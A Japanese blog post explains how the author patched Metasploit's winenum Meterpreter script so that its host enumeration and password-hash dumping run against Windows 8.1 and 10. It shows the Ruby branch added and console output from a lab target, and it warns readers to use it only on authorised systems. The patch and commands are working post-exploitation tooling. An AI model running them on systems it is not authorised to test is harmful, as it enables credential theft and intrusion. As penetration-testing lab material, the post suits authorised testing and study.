注意
お約束ですが、Metasploitは自分の管理下の環境や許可を得た環境以外では使用しないでください。
この記事の内容を用いて、他人に攻撃を行うことは絶対にしないでください。
はじめに
MetasploitにはWindows端末の環境情報を取得することができる、winenum
というモジュールが備えられています。
しかしながら、今回Windows 8.1の端末で検証したところ、正常に動きませんでした。
結果的に、winenum
に処理を追加する必要がありました。
その内容について、紹介したいと思います。
検証環境情報
-
攻撃側
- OS : Kali Linux 2020.1
- Metasploit : 5.0.89-dev (Framework/Consoleともに)
-
被害側
- OS : Windows 8.1 (ビルド9600)
評価版インストールしてまっさらな状態です。何の更新プログラムも当ててません。
- OS : Windows 8.1 (ビルド9600)
winenumの動作
期待される動作
Offensive securityのWebサイト(Existing Scripts - Metasploit Unleashed)では、以下のような結果例が記載されています。
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 10.211.55.128:4444...
[*] Saving report to /root/.msf4/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
...snip...
[*] Running WMIC Commands ....
[*] running command wmic computersystem list brief
[*] running command wmic useraccount list
...snip...
[*] Extracting software list from registry
[*] Finished Extraction of software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
検証環境における動作
用意した検証環境(Kali Linux -> Windows 8.1)で試した結果は以下のとおりでした。
meterpreter > run winenum
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.100.2:57896...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/VCTMPC_20200527.2008/VCTMPC_20200527.2008.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/VCTMPC_20200527.2008
[*] Checking if VCTMPC is a Virtual Machine ........
[*] UAC is Disabled
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
結果を比較すると、以下が動いていません。
- コマンドの実行(
Running Command List ...
の部分) - WMICコマンドの実行(
Running WMIC Commands ...
の部分) - ソフトウェアリストの取得(
Extracting software list from registry
の部分) - パスワードハッシュの取得(
Dumping password hashes ...
の部分)
winenumの改修
winenum
はどういった中身なのか、実物を見てみます。
winenum
モジュールの実体はwinenum.rb
というrubyスクリプトであり、以下にあります。(環境によって異なるかも)
/usr/share/metasploit-framework/scripts/meterpreter/winenum.rb
GitHubにも公開されています。
metasploit/winenum.rb - GitHub
その中で、OSごとの分岐をしている箇所があります。
# Run Commands according to OS some commands are not available on all versions of Windows
if trgtos =~ /(Windows XP)/
if trgtos =~ /(2600, \)|2600, Service Pack 1\))/
commands.delete('netstat -vb')
commands.delete('netsh firewall show config')
end
list_exec(commands)
wmicexec(wmic)
findprogs()
gethash()
elsif trgtos =~ /(Windows .NET)/
list_exec(commands)
wmicexec(wmic)
findprogs()
gethash()
elsif trgtos =~ /(Windows 2008)/
list_exec(commands + win2k8cmd)
wmicexec(wmic)
findprogs()
if not is_system?
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.")
else
gethash()
end
elsif trgtos =~ /Windows (Vista|7)/
list_exec(commands + vstwlancmd)
# Check for UAC and save results
if uac
file_local_write(@dest,"UAC is Enabled")
else
file_local_write(@dest,"UAC is Disabled")
end
wmicexec(wmic)
findprogs()
if not is_system?
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.")
else
gethash()
end
elsif trgtos =~ /(Windows 2000)/
list_exec(commands - nonwin2kcmd)
gethash()
end
どうやらWindows 7までしか対応していないようです。
そこで、以下の分岐を追加してみました。
elsif trgtos =~ /Windows (8.1|10)/
list_exec(commands + vstwlancmd)
# Check for UAC and save results
if uac
file_local_write(@dest,"UAC is Enabled")
else
file_local_write(@dest,"UAC is Disabled")
end
wmicexec(wmic)
findprogs()
if not is_system?
print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 8.1 or Windows 10 if not System.")
else
gethash()
end
改修後テスト
動かしてみます。
meterpreter > run winenum
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.100.2:49270...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/VCTMPC_20200527.3449/VCTMPC_20200527.3449.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/VCTMPC_20200527.3449
[*] Checking if VCTMPC is a Virtual Machine ........
[*] UAC is Disabled
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command netstat -nao
...snip...
[*] Running WMIC Commands ....
[*] running command wmic useraccount list
[*] running command wmic group list
...snip...
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
無事動きました。
出力されたログを見てみましょう。
kali@kali:~$ sudo ls -l /root/.msf4/logs/scripts/winenum/VCTMPC_20200527.3449
合計 164
-rw-r--r-- 1 root root 147 5月 27 18:35 VCTMPC_20200527.3449.txt
-rw-r--r-- 1 root root 394 5月 27 18:34 arp__a.txt
-rw-r--r-- 1 root root 1225 5月 27 18:34 cmd_exe__c_set.txt
-rw-r--r-- 1 root root 9434 5月 27 18:35 gpresult__SCOPE_COMPUTER__Z.txt
-rw-r--r-- 1 root root 3711 5月 27 18:35 gpresult__SCOPE_USER__Z.txt
-rw-r--r-- 1 root root 249 5月 27 18:35 hashdump.txt
-rw-r--r-- 1 root root 2218 5月 27 18:34 ipconfig__all.txt
-rw-r--r-- 1 root root 12127 5月 27 18:34 ipconfig__displaydns.txt
-rw-r--r-- 1 root root 695 5月 27 18:34 net_accounts.txt
-rw-r--r-- 1 root root 201 5月 27 18:35 net_group.txt
-rw-r--r-- 1 root root 201 5月 27 18:35 net_group_administrators.txt
-rw-r--r-- 1 root root 531 5月 27 18:35 net_localgroup.txt
-rw-r--r-- 1 root root 335 5月 27 18:35 net_localgroup_administrators.txt
-rw-r--r-- 1 root root 66 5月 27 18:35 net_session.txt
-rw-r--r-- 1 root root 547 5月 27 18:35 net_share.txt
-rw-r--r-- 1 root root 233 5月 27 18:35 net_user.txt
-rw-r--r-- 1 root root 140 5月 27 18:35 net_view.txt
-rw-r--r-- 1 root root 140 5月 27 18:35 net_view__domain.txt
-rw-r--r-- 1 root root 9556 5月 27 18:35 netsh_firewall_show_config.txt
-rw-r--r-- 1 root root 61 5月 27 18:35 netsh_wlan_show_drivers.txt
-rw-r--r-- 1 root root 61 5月 27 18:35 netsh_wlan_show_interfaces.txt
-rw-r--r-- 1 root root 61 5月 27 18:35 netsh_wlan_show_networks_mode_bssid.txt
-rw-r--r-- 1 root root 61 5月 27 18:35 netsh_wlan_show_profiles.txt
-rw-r--r-- 1 root root 9549 5月 27 18:34 netstat__nao.txt
-rw-r--r-- 1 root root 8319 5月 27 18:34 netstat__ns.txt
-rw-r--r-- 1 root root 450 5月 27 18:34 netstat__vb.txt
-rw-r--r-- 1 root root 11 5月 27 18:35 programs_list.csv
-rw-r--r-- 1 root root 2324 5月 27 18:34 route_print.txt
-rw-r--r-- 1 root root 8025 5月 27 18:35 tasklist__svc.txt
-rw-r--r-- 1 root root 2014 5月 27 18:35 tokens.txt
全部出てそうです。上手くいきました。
最後に
改修としてはWindows 10でも動くようにしたつもりですが、実際に試してはいません。
試した方がいたら是非教えてください。